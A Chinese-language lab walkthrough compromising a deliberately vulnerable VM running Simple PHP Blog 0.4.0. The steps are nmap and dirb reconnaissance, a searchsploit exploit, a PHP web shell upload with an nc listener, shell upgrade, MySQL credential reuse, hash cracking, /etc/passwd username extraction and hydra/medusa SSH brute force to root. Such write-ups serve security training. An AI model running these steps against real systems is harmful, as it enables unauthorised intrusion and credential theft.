前置信息特别注意这个靶机的 ip 是固定的 10.10.10.100我们需要将靶机设置为 NAT 模式同时要将攻击机 kali 的 ip 也处于 10.10.10.0/24 这个网段具体在菜单栏的编辑——虚拟网络编辑器如下点击更改设置保证虚拟机的子网 ip 是 10.10.10.0 即可常规信息收集主机发现sudo nmap -sn 10.10.10.0/24端口发现sudo nmap --min-rate 10000 -p- 10.10.10.100UDP 端口sudo nmap -sU --min-rate 10000 -p- 10.10.10.100开放端口详细信息探测sudo nmap -sT -sV -O -p 22,80 10.10.10.100脚本扫描sudo nmap --scriptvuln -p 22,80 10.10.10.10080 端口转向 web 渗透目录爆破/FUZZdirb http://10.10.10.100存在/blog/目录访问发现是博客内容管理系统右键查看源码获得类型和版本信息为 Simple PHP Blog 0.4.0漏洞库里面查找该类型版本的 cvesearchsploit Simple PHP Blog 0.4.0根据利用文件编号拿下利用文件searchsploit Simple PHP Blog -m 1191阅读利用文件根据说明进行利用sudo perl 1191.pl -h http://10.10.10.100/blog -e 2解决报错问题sudo apt install libswitch-perl漏洞利用sudo perl 1191.pl -h http://10.10.10.100/blog -e 3 -U wap3ku -P wap3ku通过漏洞利用设置的账号密码登陆系统登陆后 发现文件上传点新建 shell.php 文件本地监听sudo nc -lvnp 1234上传 shell.php 文件通过遍历等手段获取上传文件的路径http://10.10.10.100/blog/images/shell.php浏览器直接访问木马文件 nc 上线上线后的信息收集执行cd ../../跳转到上上级目录发现配置文件 mysqli_connect.php通过账密登陆数据库mysql -uroot -pgoodday访问被拒绝由于程序能跑起来说明密码一定不会错可能并没有使用该配置文件找找其他目录是否存在类似文件find / -name mysqli_connect.php 2/dev/null查看新文件连接 msyql报错卡在连接界面不进去)优化 shell,通过之前的信息收集可以得知存在 python 环境python -c import pty;pty.spawn(/bin/bash)再次连接 mysql: mysql -uroot -prootISIntS逐级查询得到密文密码进行爆破首先查询加密类型hash-identifier c2c4b4e51d9e23c02c15702c136c3e950ba9a4af解密https://hashes.com/en/decrypt/hash别的网站可能解不出来获取用户名加上之前暴露的和 mysql 中查到的账密和关键词作为字典进行碰撞sshvim /etc/passwd筛选出用户名awk -F: {print $1} /etc/passwdcut -d: -f 1 /etc/passwd想要更加精简可以过滤掉系统内置虚拟用户只输出可登录的普通用户awk -F: $7!~/nologin/ {print $1} /etc/passwd22 端口 ssh 登陆碰撞通过上面获得的用户名和密码字典进行passwordkeywordsusernamehydra 九头蛇爆破首推sudo hydra -L user.list -P passwd.list -s 22 ssh://10.10.10.100 -t 1 -vV -o hydra_result.txt报错算法协商不匹配改用 Medusa(不受系统 ssh 算法限制)medusa -h 10.10.10.100 -M ssh -U user.list -P passwd.list -t 1 -q medusa_result.txt连接 ssh,拿下 root 权限参考资源「红队笔记」https://www.bilibili.com/video/BV1id4y1k7cf?vd_sourcec42e9b8ccba6fa5b7e5c400cd333bee9